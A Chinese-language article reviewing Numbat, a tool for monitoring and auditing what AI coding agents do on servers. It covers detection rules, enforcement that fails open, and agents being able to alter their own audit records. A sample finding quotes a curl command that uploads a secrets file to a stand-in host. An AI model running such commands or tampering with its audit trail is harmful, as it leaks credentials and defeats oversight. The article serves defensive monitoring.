如何监控 AI Coding Agent 在服务器上的操作行为?
Perplexity 开源的 Numbat 工具可记录 AI 代理在服务器执行的 Shell 命令与文件访问。本文解析其基于 CEL 的规则引擎、NDJSON 事件格式及对 SSH 私钥读取等敏感行为的监测机制,助您评估该工具在代理审计与取证重建中的实际效能。
Numbat 是什么
Numbat 可让您了解 AI agent 在您拥有的计算机上执行了哪些操作。它读取 coding agent 已生成的 hook 回调和会话文件,将其规范化为统一的事件格式,再根据规则匹配事件。当 agent 读取 SSH 私钥,或将下载内容直接通过管道传给 shell 等行为发生时,规则会触发。Perplexity 以 Apache 2.0 许可证将 Numbat 发布为开源软件,首个标记版本于 29 July 2026 发布。
以下内容均来自该项目的代码仓库及其自身文档,阅读时间为 2 August 2026。我们又在 12 October 2026 对照代码仓库检查了发布历史、安装要求、记录架构和 agent 支持范围。凡是 Perplexity 提出的声明,本文都会明确说明。这不是安装教程,因为该代码仓库仍处于早期阶段,其中的命令会发生变化。
问题在于:没有人记录代理执行了什么
VPS 上的编码代理会以您提供的用户身份运行 shell 命令、读取文件、写入文件并建立网络连接。由于代理不是在您的 shell 中输入命令,shell 历史记录不会记录这些操作。sshd 只记录您的登录行为,不会记录模型随后决定执行的操作。除非有程序访问 sudo,否则 /var/log/auth.log 不会产生记录。代理会保存自己的操作记录,但该文件位于代理的会话目录中,格式会随版本发布而变化,而且代理自身的进程可以写入该文件。
因此,当有人询问代理上周二是否读取过 .env.production 时,在大多数服务器上,诚实的答案是:无法确定。这一记录缺口就是本项目存在的原因。
Perplexity 声称 Numbat 的功能
README 开头将该工具描述为“提供 AI agent 活动的端点可见性,支持本地检测、可选的操作前阻止和取证重建”。这里的端点指 agent 运行所在的计算机,而不是从外部监视网络的设备。这些是不同的功能,作用也不同。
检测在设备本地运行。规则使用 CEL(通用表达式语言)编写,并在本地评估;在此基础上还支持多步骤序列规则,以及在 YAML 中编写自定义规则。规则触发时无需将任何数据发送到设备外部。
阻止功能是可选的,适用范围也很窄。它只能通过同步的操作前 hook 工作,而且只适用于提供此类 hook 的 agent。除非手动启用,否则该功能处于关闭状态。
重建发生在事后。numbat scan 会解析 agent 已经写入磁盘的会话工件,因此可以查看安装该工具之前的活动。项目明确限定了这一说法:“静态数据重建不是磁盘或内存采集,也无法恢复 agent 未持久化的活动。”
输出采用带版本的 NDJSON(以换行符分隔的 JSON),涵盖事件、发现结果、执行决策、指标和扫描摘要。截至 v0.1.2,schema 版本为 0.2.0。此后 schema 已发生变化:2026 年 10 月 12 日,仓库中包含 0.2.0、0.3.0 和 0.4.0 三个 schema 版本,README 中的记录示例使用了 0.4.0。记录会写入 stdout 或本地文件,也可以通过 HTTP 发送到自行运行的 collector。该工具以不依赖 cgo 的单个静态 Go 二进制文件发布,支持 macOS、Linux 和 Windows 上的 amd64 与 arm64。因此,在 Linux VPS 上使用时,只需一个文件,无需先安装运行时。
Numbat 实际能看到哪些代理?
docs/agent-coverage.md 中的覆盖矩阵是权威列表,但覆盖范围并不一致。项目对此有明确说明,没有刻意隐瞒。Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 都支持工件扫描和实时捕获,并支持操作前钩子。OpenClaw 从 2026.7.1 版本开始提供原生插件。还有许多条目被标记为 deferred,这表示实时钩子路径已经存在,但不支持工件解析。通常,这是因为该代理将历史记录存储在 SQLite 中,并使用预写式日志;代理运行时读取这种日志并不安全。Cline CLI 就属于这一组:其实时钩子可以工作,但不会解析其 SQLite 会话。OpenCode 的情况比较特殊。v0.1.2 矩阵可以解析其早期 JSON 存储,仅将当前的 opencode.db 数据库列为 deferred;其中没有列出针对 OpenCode 的操作前强制执行支持。2026 年 10 月 12 日,main 分支中的矩阵仍然如此记录。
在围绕此工具制定计划前,请先查看与你的代理对应的行,因为几乎每一行中“支持”的含义都不同。
检测结果示例
规则包含用于说明用途的 ID。secrets.read_private_key 用于检测 SSH 密钥、AWS 凭据、kube 配置或软件包仓库登录信息。将 curl 或 wget 的输出通过管道传给解释器时,exec.download_pipe_shell 会触发。privilege.elevated_shell 用于检测通过 sudo、doas、su 或 pkexec 请求交互式 root shell 的行为。impact.cryptomining_launch 用于匹配已知的挖矿程序二进制文件和镜像名称。
序列规则会关联同一会话中的事件。chain.secret_read_then_egress 要求先读取机密文件,随后执行携带数据向外传输的命令。README 发布了下面的检测结果。该结果来自对两个 Claude Code pre-action callback 的受控重放,不是真实事件。这里仅保留重要字段:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}注意记录中包含 "confidence": "medium"。还要注意项目对这类输出的整体说明:“检测结果是规则匹配,不是服务器已被入侵的证据。”读取密钥后上传构建产物的部署脚本,也会匹配同一条序列规则。匹配结果是正确的,但告警是误报;这是所有检测工具在实际运行中的常见情况。
默认不执行阻断,出错时放行
Numbat 发布的所有规则都仅用于监控。将规则改为阻断规则需要有意执行以下操作:将规则的完整 YAML 复制到您自己的目录中,保留相同的 id,添加 enforce: true,递增版本号,然后验证并安装该策略。
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforce现在说明您应在多大程度上信任它。Numbat 的 deny 是返回给 agent 的响应,真正拒绝工具调用的是 agent。强制执行指南明确说明了 Numbat 自身出现问题时的行为:“格式错误的 payload、相关评估错误、panic 和输出失败都会抑制 numbat deny。”Hook 输入上限为 4 MiB,超出大小限制的输入也会走相同路径。
该指南同样明确说明了成功返回 deny 的限制:“Fail-open 表示 numbat 不返回 deny 响应。这并不保证工具会执行:主机仍可能提示、拒绝、超时,或应用其他 hook 或策略。”
因此,这里的强制执行机制是安全护栏,而不是安全边界。如果进程崩溃,Numbat 不会阻止该操作,因为一个每次出现故障都会冻结 agent 的监控器,通常不到一周就会被卸载。这个取舍是合理的。但不要构建依赖 deny 始终到达的安全模型。
Numbat 与现有措施的关系
Numbat 运行在端点上,位于代理自身的进程树内,默认将日志写入 ~/.numbat/records.ndjson。以您的用户身份运行的代理可以读取该文件,也可以修改它。审计记录的可靠性完全取决于其周围的隔离措施。因此,您已有的每项控制措施都应位于 Numbat 之前,而不是之后。
为编码代理提供一次性 VM 可以限制恶意运行能够访问的范围。在 VPS 上使用最小权限用户 可以阻止代理访问不应打开的文件。不要将凭据放入代理上下文,才能让 secrets.read_private_key 足够少见,使其触发时的记录值得查看。为 VPS 上的 Claude Code 配置的沙箱 仍然负责执行隔离。隔离措施限制恶意运行能够接触的对象,而记录代码采用当前结构的原因则可以减少代理执行意外操作的频率,从而减少您需要查阅日志的次数。
Numbat 增加的是记录,因此应将记录发送到代理无法访问的位置。numbat ship 和 HTTP sink 就是为此而存在的。在第二台机器上保留一份流副本,是日志文件与证据之间的区别。事件模型还包含 MCP(模型上下文协议)字段,因此通过您在 VPS 上托管的 MCP 服务器发出的工具调用,会与本地 shell 命令进入同一个流。这一点很重要,因为仅监控 bash 的措施无法看到这条路径。将 SearXNG 实例接入为代理的搜索后端时,也存在同样的盲区:风险表现为未经信任的页面文本进入模型上下文,而不是表现为任何规则都能匹配的命令。
先以只读方式尝试
安装固定版本。下面的命令固定使用 v0.1.2,该版本的 README 要求 Go 1.26.5 或更高版本。2026 年 10 月 12 日,main 分支上的 README 要求 Go 1.26.6 或更高版本;这一要求随 v0.2.0 发布而提高。因此,如果固定使用更新的标签,请使用 1.26.6。若不想从源代码构建,可以从 releases 页面获取带有 SHA-256 校验和的预构建二进制文件。
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents 会发现本机上已安装的代理。numbat scan 会解析磁盘上已有的会话工件并输出记录。README 说明,这些命令“不会安装钩子或更改代理配置”,并且 numbat“永远不会执行工件中找到的代理或命令,只会向已配置的 HTTP 接收端发送出站请求”。扫描过程为只读操作,并会对机密信息进行脱敏;正常记录输出不会包含完整的原始会话记录。
下一步是实时捕获,这会更改代理配置:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all 会将事件、发现结果、指标以及适用的强制执行决策写入 ~/.numbat/records.ndjson。项目文档明确提出了两点注意事项。钩子可能需要先在代理内部获得信任,才能实际运行;更改 --enforce 等标志后,还必须重新审核该信任关系。此外,hook status“验证的是配置,而不是执行或传递”,因此,状态行显示正常并不能证明记录已发送到任何位置。
为什么这么新的仓库不能作为依赖项
截至 12 October 2026,公开版本包括 29 July 2026 发布的 v0.1.1、1 August 2026 发布的 v0.1.2,以及 17 August 2026 发布的 v0.2.0。发布页面将 v0.2.0 标记为最新版本。本文撰写于 2 August 2026,当时该仓库有 597 个 star。增长如此之快,反映的是 Perplexity 的受众规模,而不是代码的稳定性。star 表示有人保存了该页面,准备稍后查看。
版本号准确反映了它当前所处的阶段。v0.1.2 的说明主要涉及凭据脱敏修复,以及案例包和遥测数据的规范化处理。v0.2.0 的说明增加了有界的消息内容捕获、通过其 beforeReadFile hook 强制 Cursor 执行读文件操作,以及更多脱敏修复。对于一个负责安全读取其他程序会话记录的工具来说,脱敏缺陷正是早期版本常见的问题类型。此类问题还会继续出现,因为输入来自十几个代理,而这些代理会按照各自的时间表改变格式。
由此可以得出两条实用规则。对于需要长期保留的内容,固定使用 tag,绝不要使用 @latest。此外,应将它视为正在评估的工具,而不是可以依赖的控制措施,至少要等到记录 schema 不再频繁变化。目前还没有达到这一点:大约十周内,它从 v0.1.2 中的 0.2.0 变成了 main 分支 README 中的 0.4.0。
FAQ
Numbat 会阻止危险的 AI 代理命令吗?
只有在您主动启用的情况下才会阻止,而且只能尽力而为。Numbat 发布的每条规则都仅用于监控。要进行阻止,您需要将规则的 YAML 复制到自己的目录,保留其 id,添加 enforce: true,递增版本号,然后使用 --enforce 安装钩子。即使这样,拒绝结果也只是作为响应返回给代理,真正拒绝调用的是代理本身。项目文档说明了故障开放行为:格式错误的负载、评估错误、panic 和输出失败都会抑制拒绝操作。请将其作为安全护栏,不要将其作为唯一的边界。
Numbat 支持哪些 AI 代理?
不同代理的覆盖范围不同,仓库中的 docs/agent-coverage.md 列出了具体情况。该页面于 2 August 2026 读取时,Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 同时支持工件扫描和实时捕获;OpenClaw 从版本 2026.7.1 开始提供原生插件。许多其他代理虽然列出了实时钩子路径,但尚未提供工件解析器。这通常是因为它们的会话历史存储在 SQLite 数据库中,而代理运行时读取该数据库并不安全。请查看与您的代理对应的行,因为其中的“支持”可能代表多个不同级别。
代理可以篡改 Numbat 的记录吗?
可以,前提是代理以同一用户身份运行。默认情况下,记录存储在与代理相同机器上的 ~/.numbat/records.ndjson,因此任何对该路径具有写入权限的进程都可以修改或删除这些记录。请使用 numbat ship 或 HTTP sink 将流发送到代理无法访问的收集器,并将本地文件保留为便捷副本。这也是该工具用于补充隔离措施,而不是替代隔离措施的原因。以最小权限用户身份运行在一次性 VM 中的代理,对自身审计记录的访问范围要小得多。
Numbat 已经适合生产服务器了吗?
不适合将其作为依赖的控制措施。首个公开版本 v0.1.1 于 29 July 2026 发布,v0.1.2 于 1 August 2026 发布,v0.2.0 于 17 August 2026 发布;截至 12 October 2026,README 中的记录架构已达到 0.4.0,因此命令标志和记录架构仍在变化。在服务器上运行 numbat agents 和 numbat scan 是只读且风险较低的操作,可以帮助您了解代理在磁盘上留下了哪些内容。在重要服务器上安装强制执行钩子则是另一项决策;您应固定使用某个 tag,并制定钩子异常时的处理方案。